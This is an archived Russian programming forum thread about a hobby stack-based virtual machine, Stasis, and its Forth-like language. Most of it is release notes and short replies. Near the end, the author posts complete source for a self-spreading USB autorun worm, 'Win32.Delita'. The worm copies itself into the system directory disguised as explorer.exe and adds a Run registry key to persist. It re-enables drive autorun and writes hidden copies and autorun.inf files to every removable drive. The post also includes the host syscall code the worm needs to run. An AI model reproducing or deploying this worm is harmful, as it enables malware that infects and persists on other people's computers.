Помощь - Поиск - Пользователи - Календарь
Полная версия этой страницы: Stasis[VM]
DF2 :: ФОРУМЫ > Основные форумы > Софт и железо > Программирование / Coding
Guevara-chan
*=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-*
Название: Stasis[VM]
Версия: v0.095 - Alpha
Распространение: FreeWare OpenSource.
Среда разработки: PureBASIC v4.31
*=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-*

...Итак, представляю вашему вниманию первые результаты прошедшей недели упорного труда - компактную виртуальную машину на стековой основе под кодовым названием "Stasis". Помимо самого интерпретора в соотв. архиве вас ждет компилятор Forth'ообразного ассемблера (StasisForth) и 7 небольших примеров возможных программ. Полный комплект исходного кода также прилагается, однако для его компиляции потребуется наличие в системе установленной библиотеки PureDIC (© gnozal).
Download link: https://www.dropbox.com/s/jejb0jpzag9dc7m/Stasis.rar

P.S. С нетерпением жду ваших жалоб и предложений.
P.P.S. На данном этапе предполагается, что всю необходимую документацию вы способны самостоятельно извлечь из исходных текстов, в противном случае не стоит тратить время.
oxid
wow! amazing!
Guevara-chan
New version uploaded:
+Поддержка Unicode.
+Множество новых системных вызовов.
+Возможность явного определения переменных.
+Оператор EndIf (окончание все открытых конструкций типа IF..THEN)
+Новый пример (GuessNum.SF)
orgus
не плохоsmile.gif не все понял но на курсовую курса 3-го тянет точно ...
Guevara-chan
Ну, я на пятом. Впрочем, мне и не по специальности...
Guevara-chan
New verison uploaded:
+Базовая поддержка динамических массивов.
+Возможность группового определния переменных.
+Ряд новых констант.
+Улучшен GUI, добавлены недостающие сообщения об ошибках.
+Ряд новых директив компиляции.
+Новый пример: "Average.SF'

P.S. Sorry за протяжную паузу - сессия...
Guevara-chan
New version uploaded:
+Поддержка символьных перменных и массивов.
+Улучшена поддержка нецелых переменных
+Новый пример: "SelfOut.SF"
+Оператор @SizeOF: (получение размера переменной)
Guevara-chan
New version uploaded:
+Изменена система адресации, добавлены новые виды литералов.
+Блок операторов [Switch: .. ;Switch (множественный выбор условий)
+Блок операторов For[..]Rof (традиционный вариант цикла со счетчикоv)
+Блок операторов [ForEach:..Next] (цикл обработки коллекций данных)
+Оператор Pass (пропуск текущей итерации цикла)
+Система изоляции процедур.
+Новый пример: 'BF.SF'
oxid
Awesome!
gamecreator
это интерпретатор выдуманного ею языка.
Guevara-chan
Цитата
Chrono Syndrome для чего именно эта виртуальная машина ? Я в этом не разбираюсь. Знаю только VMware.

Посмотри "Java VM" - поймешь.
Guevara-chan
New version uploaded:
+Поддержка пространств имен (context)
+Поддержка последовательностей данных (sequence)
+Улучшена поддержка локальных переменных в процедурах.
+Возможность задавать для литералов тип данных по умолчанию.
+Новый пример: 'Fibbo.SF'
oxid
Даст ист фантастишь!
Berserker
Флудер детектед.
Guevara-chan
Дело было вечером, делать было нечего... От скуки я решила переписать один из своих давным-давно заброшенных AutoRunner'ов на не менее заброшенном StasisFORTH'е. Ну, “for fun and profit”, как говорится. Вот что получилось в итоге:

Цитата("StasisFORTH code")
rem[
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Win32.Delita autorunner v0.8
Developed in 2010 by Chrono syndrome
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
]rem

\ -- Definitions --
def[ MyPath:s Target:s FHandle ]def
<[ "setup.exe" ->string: Malaise
"\dllcache\" ->string: ResidentDir
"S+ Malaise S+" ->macro: AddMalaise
'[autorun]'
'`rOpen=' AddMalaise
'`rShellExecute=' AddMalaise
'`rShell\Open\Command=' AddMalaise
'`rShell\Open\Default=1' S+
->String: RunText
]>

\ -- Import table --
"Extended.SetAttrib"/Import:  SetAttrib
"Extended.CopyFile"/Import:   CopyFile
"Extended.RegCreate"/Import:  RegCreate
"Extended.RegClose"/Import:   RegClose
"Extended.StoreInt"/Import:   StoreInt
"Extended.StoreStr"/Import:   StoreStr
"Extended.ThisFile"/Import:   ThisFile
"Extended.SystemDir"/Import:  SystemDir
"Extended.DriveType"/Import:  DriveType
"Extended.ExecFile"/Import:   ExecFile
"Extended.CreateFile"/Import: CreateFile
"Extended.WriteStr"/Import:   WriteStr
"Extended.CloseFile"/Import:  CloseFile
"Extended.CreateDir"/Import:  CreateDir

\ -- Procedures --
void[
: NullAttrib ( fname -- ) 0 SetAttrib ;
: HideFile ( fname -- )   6 SetAttrib ;
: CopyFileEX ( Base Target -- Result )
String: TPath -> TPath
TPath NullAttrib
TPath CopyFile
TPath HideFile
;
: RegOpenEx RegCreate -> FHandle ;
: RegCloseEx FHandle RegClose ;
: Store0 0 StoreInt ;
: SetSettings <[ 2147483650 ->integer: HKLM ]>
HKLM "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\" RegOpenEx
FHandle "NoDriveAutoRun"     Store0
FHandle "NoDriveTypeAutoRun" Store0
RegClose
HKLM "Software\Microsoft\Windows\CurrentVersion\Run\"  RegOpenEx
FHandle "Windows explorer" MyPath StoreStr RegCloseEx
;
]void
\ -- Main code --
\ Retireving main paths.
ThisFile lcase -> MyPath
SystemDir ResidentDir S+ "explorer.exe" S+ lcase -> Target
MyPath Target S= if \ If we are resident already...
begin \ Ifinite loop.
"C":i "Z":i 1 for[ SetSettings \ Cycling drives (A-Z)...
I i->c c->s ":\" s+ -> Target \ Formating path
Target DriveType -> FHandle \ Storing type of drive.
FHandle 1 > FHandle 5 <> And if \ If it's presented and not CD-ROM...
MyPath Target Malaise s+ CopyFileEX \ Copying things onto drive
"autoRUN.inf" += Target \ Now let's prepare Autorun.inf...
Target NullAttrib Target CreateFile -> FHandle
FHandle if \ If it's possible to open autorun.inf...
RunText FHandle WriteStr  \ Writing data.
FHandle CloseFile \ Closing .inf file.
then Target HideFile \ Now let's just hide it back.
then
]rof
10000 ms \ Light pause
again
else \ Residenting itself.
"explorer.exe" MyPath 3 left ExecFile \ Exploring drive...
SystemDir ResidentDir S+ CreateDir \ Creating required directory.
MyPath Target CopyFileEX \ Copying this file to system.
if Target "" ExecFile then \ Executing it if things got copied...
then

...Для работоспособности данной программы, как следует из ее кода, нужен набор дополнительных системных вызовов, по разным причинам не представленных в базовой поставке StasisVM. Вот как они было реализовано лично у меня:

Код
;{ [!Additional!]
With *ThisThread
SysCall(Extended_CopyFile)   : PushI(\Stack, CopyFile(PopS(\Stack), PopS(\Stack))) : EndCall()
SysCall(Extended_ThisFile)   : PushS(\Stack, ProgramFilename()) : EndCall()
SysCall(Extended_DriveType)  : PushI(\Stack, GetDriveType_(PopS(\Stack))) : EndCall()
SysCall(Extended_CreateFile) : PushI(\Stack, CreateFile(#PB_Any, PopS(\Stack))) : EndCall()
SysCall(Extended_WriteStr)   : \I = PopI(\Stack) : WriteString(\I, PopS(\Stack)) : EndCall()
SysCall(Extended_CloseFile)  : CloseFile(PopI(\Stack)) : EndCall()
SysCall(Extended_ExecFile)   : RunProgram(PopS(\Stack), PopS(\Stack), "") : EndCall()
SysCall(Extended_SetAttrib)  : SetFileAttributes(PopS(\Stack), PopI(\Stack)) : EndCall()
SysCall(Extended_SystemDir)  : \S = Space(#MAX_PATH) : GetSystemDirectory_(@\S, #MAX_PATH)
PushS(\Stack, \S) : EndCall()
SysCall(Extended_RegCreate)
RegCreateKeyEx_(PopI(\Stack), PopS(\Stack), 0, 0, 0, #KEY_WRITE|#KEY_READ, 0, @\I, 0) : PushI(\Stack, \I)
EndCall()
SysCall(Extended_StoreInt) : \I = PopI(\Stack)
RegSetValueEx_(PopI(\Stack), PopS(\Stack), 0, #REG_DWORD, @\I, SizeOf(Integer)) : EndCall()
SysCall(Extended_StoreStr) : \S = PopS(\Stack)
RegSetValueEx_(PopI(\Stack), PopS(\Stack), 0, #REG_SZ, @\S, Len(\S)) : EndCall()
SysCall(Extended_RegClose) : RegCloseKey_(PopI(\Stack)) : EndCall()
SysCall(Extended_CreateDir): CreateDirectory(PopS(\Stack)) : EndCall()
EndWith
;}

P.S. Данный код представлен здесь исключительно в ознакомительных целях, автор не несет ответственности за последствия от его применения.
Guevara-chan
...Если кто вдруг не в курсе – мое молчание вовсе не значит остановку проекта. Последнее время работа действительно находится в замороженном состоянии, однако я все-таки закачиваю время от времени новые ревизии на FTP. Тем, кто еще заинтересован в Stasis'е – советую потихоньку следить за датой последнего изменения архива (где-то раз в месяц, пожалуй).
Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке.
Форум IP.Board © 2001-2025 IPS, Inc.